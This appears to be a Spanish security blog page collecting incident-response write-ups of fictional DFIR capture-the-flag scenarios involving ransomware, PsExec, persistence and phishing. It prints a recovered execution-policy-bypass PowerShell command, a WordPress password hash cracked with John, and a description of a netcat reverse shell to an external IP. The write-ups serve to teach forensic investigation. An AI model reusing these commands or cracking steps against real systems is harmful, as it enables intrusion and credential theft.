╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

│ Top medium alerts:                     Top low alerts:                                                     │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

│ ISO Image Mounted (167)                n/a                                                                 │

│ Reg Key Value Set (Sysmon Alert) (8)   n/a                                                                 │

│ HackTool – LaZagne Execution (7)       n/a                                                                 │

│ Log File Cleared (2)                   n/a                                                                 │

│ Net Conn (Sysmon Alert) (2)            n/a                                                                 │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

Se revisan las alertas sin encontrar actividad maliciosa.

Se extrae la MFT del triaje, se convierte de binario a .csv con la herramienta mftdump, y se revisan los ficheros creados el 22/03/2024, encontrando los siguientes de interés:

1) Ejecución de PSEXEC: se observa la creación del servicio de psexec, empleado para la ejecución remota de código:

2024-03-22 11:41:07         2024-03-22 11:47:57  2024-03-22 11:41:07  2024-03-22 11:41:07  193984       exe      \Windows\PSEXESVC.exe

2024-03-22 11:41:39         2024-03-22 11:41:39  2024-03-22 11:41:39  2024-03-22 11:41:39  4290    pf       \Windows\Prefetch\PSEXESVC.EXE-AD70946C.pf

El hecho de encontrar el binario PSEXESVC.exe, así como el mismo binario en el Prefetch indica que este equipo es el que ha recibido la ejecución del comando. Se revisan los logs de eventos de System, pero han sido borrados por lo que a priori no se puede saber el origen de la comunicación.

Dado que se tienen la RAM del equipo, se hace uso del plugin windows.netscan.NetScan de Volatility para extraer las conexiones de red, pero no se encuentra ninguna conexión entrante al puerto 445/tcp (signo del uso de psexec).

Se ejecuta el comando de Linux strings realizando una búsqueda de proximidad (-A 10 –B 10 para sacar las diez líneas anteriores y posteriores a cada coincidencia), encontrando otro fichero de interés:

459592846 C:\Windows\PSEXESVC.exe

459592872 C:\Windows\PSEXESVC.exe

459593012 Collected Data

459593045 5736:133555812896042651

459593076        C:\Windows\System32\services.exe

459593113 812:133555366942172371

459593145 C:\Windows\System32\csrss.exe

459593177 596:133555366938091543

459593207       9C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

459593268 -“powershell” -ep bypass -NoExit C:\update.ps1

El fichero está en la MFT del equipo, y ha sido creado en el entorno del incidente:

2024-03-22 11:40:09                2024-03-22 12:17:53      2024-03-22 11:39:25       2024-03-22 11:39:25       278         ps1         \update.ps1

[Read more…]

Baklava CTF Writeup – Incident Report Style (I)

Contenido

  1. ¡WARNING! ¡LÉEME PRIMERO!
  2. Resumen ejecutivo.
  3. Antecedentes.
  4. Gestión del incidente
    • 4.1. DC02 – 192.168.20.46
    • 4.2. WS02 – 192.168.20.42
    • 4.3. WS01 – 192.168.20.41
    • 4.4. SRV01
  5. Conclusiones finales.
  6. Línea temporal del ataque.
  7. Impacto.
  8. Atribución.
  9. Lecciones aprendidas.
  10. Anexo A: IOC.
  11. FAQ (del meta, no del incidente).

Informe de Incidente BAKLAVA Parte 1

1. ¡WARNING! ¡LÉEME PRIMERO!

Este documento que estás leyendo es un informe “real” de un incidente ficticio, basado en el CTF DFIR que los compañeros Andrés Yedra y Arturo Martínez (unos fieras) montaron hace poco y que puedes encontrar aquí: https://ctf.communia.cc (y que por supuesto puedes jugar, aunque si piensas hacerlo deja de seguir leyendo porque los spoilers son más que abundantes y se pierde toda la gracia…)

Me han pedido en muchas ocasiones un “documento de ejemplo” de gestión de un incidente, tanto desde la parte de cómo investigarlo como de la parte de cómo redactarlo. En S2 Grupo tenemos como … muchos de esos documentos, pero aunque tengas todo el cuidado del mundo anonimizándolos siempre se corre un riesgo, así que hemos decidido partir de un incidente sintético. Disfruta y aprende, que el gusanillo del DFIR tiene lo suyo ;)

[Nota: todo lo que veais entre corchetes como notas… son eso, notas que no aparecerían en un documento formal, pero que creo que son de utilidad para aclarar alguna duda y sacarle el máximo provecho al análisis].

2. Resumen ejecutivo

El 22 de marzo de 2024 a las 15:30h Megacorp entra en contacto con nosotros porque ha sufrido un incidente de ransomware. Se despliega un equipo de respuesta ante incidentes, que obtiene evidencias de varios de los servidores y puestos de usuario de la Organización

Los análisis llevados a cabo permiten determinar que los atacantes enviaron un correo malicioso a uno de los usuarios de la Organización. Dicho correo tenía un enlace a un documento malicioso, que el usuario abrió infectando su puesto de usuario.

Los atacantes fueron capaces de obtener privilegios gracias a un fallo en los permisos de un directorio del equipo, y gracias a esos privilegios pudieron infectar otro equipo de usuario.

En dicho equipo realizan un ataque contra el dominio Windows que les permite obtener otro usuario privilegiado, con el que inician sesión en el servidor de datos, deshabilitan el antivirus y obtienen las credenciales existentes en el mismo.  De la misma forma, con otro usuario privilegiado logran robar una copia de todos los datos de las cuentas de usuario de la Organización (incluida una copia cifrada de las contraseñas).

Con dichas credenciales inician sesión en el controlador de dominio, y roban una base de datos de contraseñas empleada por IT (fichero de KeePass). A continuación, descargan el ransomware y lo detonan, cifrando ficheros del servidor.

Se tiene una confianza alta de que los atacantes no han realizado más actividades maliciosas en otros equipos de la Organización. Sin embargo, se recomienda un cambio generalizado de todas las contraseñas (con énfasis en aquellas cuentas con privilegios), así como restaurar desde las copias de seguridad de los servidores a una fecha anterior a las 13:00h del 22 de marzo de 2024.

[Read more…]

DEFCON DFIR CTF 2019 (IV): Triage VM Questions

Las evidencias son un precioso fichero .7z (que en Debian no se puede abrir con unzip, hay que usar p7zip, ojo), que una vez descomprimido nos deja los siguientes ficheros:


# ls -laht
total 27G
drwxr-xr-x 2 root root 4.0K Aug 27 18:10 .
drwxr-xr-x 5 root root 4.0K Aug 27 17:43 ..
-rw-r--r-- 1 root root 4.0G Mar 22 22:21 DFA_CTF_Triage-0.vmdk
-rw-r--r-- 1 root root  23G Mar 22 22:21 DFA_CTF_Triage.vmdk
-rw-r--r-- 1 root root 2.0K Mar 22 22:14 DFA_CTF_Triage.vmx

Podríamos arrancar la máquina virtual en VMWare, pero vamos a tratar la VM como una evidencia muerta, para ver si somos capaces de sacar todas las evidencias de un modo más formal.

La forma más rápida de montar en Debian un .vmdk es, si tienes qemu instalado, la siguiente: [Read more…]

DEFCON DFIR CTF 2019 Writeup (III): Memory Forensics

1. ¿Cuál es el hash SHA1 del fichero triage.mem?

Un poquito de sha1sum para empezar a calentar…

# sha1sum adam.mem
c95e8cc8c946f95a109ea8e47a6800de10a27abd  adam.mem

* Respuesta: c95e8cc8c946f95a109ea8e47a6800de10a27abd

2. ¿Qué perfil de memoria es el más apropiado para esta máquina (ej: Win10x86_14393)

Volatility nos da la información gracias al plugin imageinfo: [Read more…]

DEFCON DFIR CTF 2019 writeup (II): Linux Forensics

Como habíamos visto en la parte de Windows, la adquisición forense del equipo Horcrux nos había dejado una tabla de particiones cargadita, siendo una de ellas una de Linux. Siendo Linux, parece tener sentido el realizar el forense desde otro Linux.

En primer lugar vamos a montar la partición como es debido para poder ver lo que tenemos dentro (si estáis en un sistema Linux necesitaréis las ewftools, y aquí [https://www.andreafortuna.org/2018/04/11/how-to-mount-an-ewf-image-file-e01-on-linux/] tenéis un tutorial estupendo sobre cómo hacerlo):

Montamos el contenedor: [Read more…]

DEFCON DFIR CTF 2019 writeup (I): Crypto + Deadbox Forensics

Como ya parece ser una (estupenda) tradición dentro de la DEFCON, se ha vuelto a lanzar un reto forense no oficial. Este año se lanzó el día en el que me iba de vacaciones, así que llegamos con retraso para resolverlo, pero llegamos.

Lo primero son los datos con los que tenemos que trabajar. Las evidencias están disponibles en este enlace de Dropbox:

https://www.dropbox.com/sh/4qfk1miauqbvqst/AAAVCI1G8Sc8xMoqK_TtmSbia?dl=0

y aquí tenéis el enlace al sitio web del CTF:

https://defcon2019.ctfd.io/

El reto es más largo que un día sin pan (83 preguntas si he hecho bien las cuentas), así que para no volverme loco me he puesto un límite temporal: tengo una semana para dedicarle al reto, writeup incluido. El domingo 25 ya descargué todas las evidencias y dejé todo listo para empezar, así que el lunes 26 empezamos con ganas. [Read more…]

UCAM CTF Forense — Like old school II

En mi post anterior se hablaba de procesos básicos de cualquier análisis forense como son la recolección de información, preanálisis de sesiones de usuario/sistema y de credenciales LSASS. En este post voy a proporcionar una visión muy general de procesos y tácticas del adversario empleadas en las comunicaciones, para ganar persistencia, vectores de entrada y descuidos humanos.

Comunicaciones > USB

Los USB conectados al equipo de Lionel son fácilmente rastreables, tanto de forma manual como con herramientas de “botón gordo“. Veremos ambas formas, para entender mejor cómo se realizaba cuando no existían estas commodities.

Forma manual: En el fichero de eventos ‘System.evtx’ cazamos el EventID 20001 producido a las 19.04.09 23:29:57 (UTC) que nos indica que se ha instalado un nuevo driver; en este caso se observa que se trata de una memoria flash de la marca Kingston, modelo DT101 G2.

Forma automática: Importando el fichero del registro SYSTEM en la herramienta USBDeview de Nirsoft con ‘Options > Advanced Options > Load From: External SYSTEM Registy File, SYSTEM Registry File: {ruta del fichero SYSTEM}’ podemos observar de forma instantánea que se han obtenido las trazas que justifican que se ha introducido un Kingston DT101 G2.

Por dar otra alternativa, en la parte inferior de la imagen anterior vemos la GUI de USB Detective que, pese a ser una herramienta freemium, su versión Community nos muestra de forma elegante resultados muy similares a USBDeview. El USB en cuestión tendría la forma y color de uno de los siguientes. No he sido capaz de identificar su tamaño.

Comunicaciones > Ethernet

Observamos que hay una instalación de XAMPP que contiene en la ruta ‘\xampp\htdocs’ los ficheros de la web bufetehutz[.]com. XAMPP es un entorno multiplataforma de desarrollo web en PHP que contiene los componentes Apache, MariaDB, PHP y Perl. Recordemos que XAMPP está pensada para usarse en contextos educativos y de desarrollo, por lo que se desaconseja su uso en sistemas en producción. Además, tiene grandes carencias de seguridad por defecto, por ejemplo, la cuenta de administrador de MySQL (root) no tiene contraseña, y el demonio MySQL así como PhpMyAdmin y la página demo de XAMPP (carpeta dashboard) son accesibles por red.

Analizando su contenido, llama la atención el directorio ‘\testsite’ en el que existe una instalación de WordPress en local que es el CMS (Content Management System) más popular del mercado, y el que está corriendo la web de Lionel.

En el fichero wp-config.php tenemos la configuración del servidor MySQL del que está tirando la web. De él, podemos extraer las claves de conexión, prefijos de las tablas de la base de datos y varias variables de WordPress.

En este caso, se están empleando los valores por defecto (root:<blanco>) para conectarse a una MySQL alojada en el mismo equipo. Vista la seguridad muy cuestionable de la web es posible que el atacante hubiera accedido aprovechando varias de sus vulnerabilidades.

Analizando el fichero ‘\xampp\apache\logs\access.log’ y filtrando los accesos que se producen desde localhost (que eran varios cientos), se reducen a 43 las peticiones de recursos, desde las IPs locales 192.168.1.153 (17), 192.168.1.106 (3) y 192.168.1.42 (23), siendo la última IP la que más peticiones realiza al servidor web y también, concretamente, a la web del bufete.

Vamos a seguir un paso más a ver si somos capaces de acceder al panel de gestión de WordPress sabiendo que Lionel y las contraseñas robustas no son buenos amigos. En la ruta ‘\xampp\mysql\data\wordpress’ se encuentra el fichero wp_users.idb que junto a otros, conforman la base de datos MySQL con sus metadatos y datos. Si nos fijamos en su contenido, identificamos lo que parece el hash de la contraseña del usuario admin.

Es decir ‘admin:$P$BI9SyUjvR/RfnoKXRkXlOlmhP.bSBZ.’ solo hace falta crackearlo para obtenerla en plano, por ejemplo usando John, que nos devuelve a los pocos segundos admin1234.

Persistencia

La persistencia, AKA “capacidad de sobrevivir a un reinicio”, es una condición de victoria para cualquier atacante. La pueden conseguir de muchas formas y lugares del sistema operativo. Con diferencia la ubicación más frecuente sabemos que son los valores Run/RunOnce del registro de Windows, en los que se puede almacenar rutas de ficheros, comandos y scripts que se cargan en la fase de startup del equipo o sesión de usuario.

En el espacio de usuario que se carga de forma específica para cada usuario (Lionel, Secretaria, Jeff) tenemos varias rutas:

En el espacio del sistema que guarda la configuración específica del equipo y se carga para cualquier usuario que inicie sesión, también tenemos unas cuantas más:

Rebuscando de forma manual por ellas (una alternativa de botón gordo sería RegRipper), detectamos que para el espacio de usuario de Jeff se ha creado el valor “Iniciar” que contiene como dato la ruta de un archivo batch ‘C:\Windows\jeffi\backup.bat’.

Este fichero alojado en la carpeta ‘C:\Windows\jeffi\’ establece una shell reversa estableciendo una conexión netcat al puerto 6666 (dos archiconocidos por manejar en muchas ocasiones tráfico ilegítimo) hacia la IP 80.98.23.34 geolocalizada en Debrecen, Hajdú-Bihar (Hungría). Como no des explicaciones convincentes, individuo Jeff, estás en el punto de mira.

Si nos fijamos en el contenido de la carpeta, contiene una serie de ficheros en C y ejecutables que buscando por Internet apuntan a repositorios con una versión adaptada de netcat para Windows (ejemplo de fork aquí). Entre estos ficheros hay varios que no aparecen en netcat. Son ‘backup.bat’, ‘jijijiji.txt’ y un par más que están vacíos.

Si vemos el contenido de ‘jijijiji.txt’ tenemos el comando reg add, una instrucción de adición del valor “Iniciar” en una clave del registro de Windows, que coincide con la encontrada previamente, lo cual implica que con alta probabilidad se ha ejecutado en el equipo.

Hasta ahora hemos identificado la técnica de persistencia usada y un posible culpable, pero desconocemos el vector de entrada. No se encuentran antecedentes en Internet que vinculen la IP a actos malintencionados, por lo que se recomienda ponerla en cuarentena/blacklist y denunciarla a los FCSE competentes.

Vector de entrada

En la raíz del árbol de directorios del disco encontramos la carpeta ‘C:\Casos Bufete\’ que contiene subcarpetas de juicios con imágenes y correos de sus implicados. Tenemos que tener muy claro que, como peritos, tenemos la obligación de la confidencialidad para/con nuestros clientes. Por tanto, mientras esté justificado el motivo o necesidad, estaremos interfiriendo en la intimidad de los usuarios de los equipos que auditemos.

Si nos fijamos en la ruta ‘C:\Casos Bufete\Netflix vs Jeff Albertson\Operaciones cuentas.eml’ tenemos un .eml correspondiente a un email enviado a la dirección de correo corporativo de Lionel (lionel[at]bufetehutz[.]com) con fecha 19.04.08 17:38:04.

Su cabecera SPF (Sender Policy Framework) muestra una discrepancia entre los servidores de correo legítimos en origen y el empleado en este correo. El mecanismo SPF no valida el campo visible “From” de la cabecera, para ello está el mecanismo DMARC.

Sin entrar en detalles, lo que valida son varias de las cabeceras ocultas que se transmiten junto al correo.

Esto ya empieza a oler más fuerte. Si nos fijamos, la IP empleada como origen es la misma con la que se estaba ganando persistencia, 80.98.23.34.

Si nos fijamos en el cuerpo del email, se puede apreciar que hay faltas de ortografía (segundo indicativo de que el origen puede ser malicioso). Además está situada muy cerca de un enlace, aparentemente generado con algún tipo de DGA (Domain Generating Algorithm) en origen, que ni de lejos corresponde con la empresa BBVA. Por tanto, aumentan mucho las probabilidades de que sea malicioso. Como podemos leer a continuación, Jeff vuelve a estar por en medio, realizando una transferencia bancaria falsa de 661,20 EUR a una cuenta del bufete de abogados.

Desconocemos qué contenido se descargaba del dominio hxxp://3234djkkwqewq[.]com porque está caído (y entre tu y yo… nunca ha existido el dominio, la magia de los CTFs). Supondremos que el cliente de correo era el punto de infección del que se descargaba un maldoc que posteriormente se ejecutaba.

Analizamos los IOCs que tenemos: la IP 80.98.23.34, un dominio hxxp://3234djkkwqewq[.]com y email notificaciones-bbva[at]fake[.]com. Al igual que hemos hecho anteriormente y respetando el alcance del análisis, se recomienda ponerlos en cuarentena/blacklist y denunciarlo a los FCSE competentes.

Emails sobre corrupción y ladrones

Rebuscando más en la misma carpeta, encontramos otro .eml en la ruta ‘\Casos Bufete\Netflix vs Jeff Albertson\Operaciones cuentas.eml’ que contiene otro email enviado a Lionel (lionel[at]bufetehutz[.]com), donde un tal Snake realiza varias afirmaciones, que en resumen son:

  • Lionel, Snake y Fat el gordo tienen como objetivo atacar la imagen pública de Mayor Joe sacándole fotos comprometidas para acabar con su carrera política.
  • Para poder sacar esas fotos a Mayor Joe sin que se entere, simulan el robo del prototipo del profesor Flink en el despacho de Lionel, que lo permite.
  • Como respuesta, Mayor Joe contrata a Jeff para borrar todas las pruebas incriminatorias del despacho de Lionel.

Las fotos comprometedoras de Mayor Joe que Jeff no ha borrado están en la ruta ‘\Casos Bufete\Caso corrupción Mayor Joe y tesorero’.

Timestomping

Somos muy insistentes y seguimos analizando detalles en la carpeta de los juicios. Esta vez nos llama la atención la imagen ‘\Casos Bufete\Plagio del profesor Frink\top secret Frink.jpg’ que tiene una fecha de creación y última modificación de 2029.04.10; ya, sí, claro, … Claramente tiene los timestamps MACB modificados (técnica timestomping).

Tras un buen rato buscando, curiosamente, resulta que en la carpeta en la que se encuentra el software instalado, ‘\Program Files (x86)’ se encuentra también la herramienta SetFileDate de No Nonsense Software, cuyo objetivo es alterar tiempos y fechas de ficheros y carpetas. Tenemos premio. No nos aporta nada pero insisto en que es interesante saber las técnicas empleadas por el atacante.

Ahora creo que ya sí podemos concluir que, según los emails analizados al final y las pruebas recabadas con anterioridad, todo apunta a que Jeff es el principal sospechoso de haber cometido la exfiltración de datos del bufete de abogados de Lionel en un intento fallido por borrar los datos del Mayor Joe. Los detalles ya los hemos ido desgranando progresivamente.

Conclusiones

Hasta aquí el trabajo que nos ha pedido la compa del SOC. Unas horas bien invertidas en las que:

  1. hemos repasado acciones muy frecuentes durante un análisis forense
  2. hemos lanzado muchas ideas al aire
  3. hemos analizado alternativas (que valoro mucho) de resolución de cada paso que hemos dado, marcándonos una progresión a través de pequeños hitos.

Este análisis ha sido posible gracias al reto organizado por el Master en Informatica Forense y Peritaje Informático Judicial del Campus Internacional de Ciberseguridad. Desde aquí les mando un saludo. Agradecerle también a Antonio Sanz por el cable de 500XP que me ha echado para complementar y perfilar cada uno de los puntos que he tocado. Ya puedo decir que no es mi primer ni último post en SAW :)

Recursos destacados

UCAM CTF Forense — Like old school

Hoy, como aficionado al análisis forense digital (la parte puramente IT, sin entrar demasiado en lo legal), analizaré de forma didáctica el caso ficticio “Lionel Hutz papers” planteado en UCAM CTF, incidiendo en los procesos de resolución empleados y las conclusiones sobre la naturaleza del ataque. Espero que os parezca interesante.

En primer lugar, dos handicaps autoimpuestos:

  1. A diferencia de un ejercicio de IR (respuesta rápida ante incidentes), la evidencia la trataré siempre en frío.
  2. Por tanto, se usará exclusivamente el disco, like old school (que da nombre al post), sin tocar la RAM y mucho menos levantar la VM aislada para monitorizar su actividad.

En segundo lugar, al ser un ejercicio enmarcado en el formato CTF, responderemos de forma indirecta a cuestiones que bien pueden ser interesantes, o bien podrían ser irrelevantes o no concluyentes durante la elaboración de las conclusiones y por tanto en según que casos reales no se habría ni siquiera planteado. Dicho esto, ¡vamos al lío! [Read more…]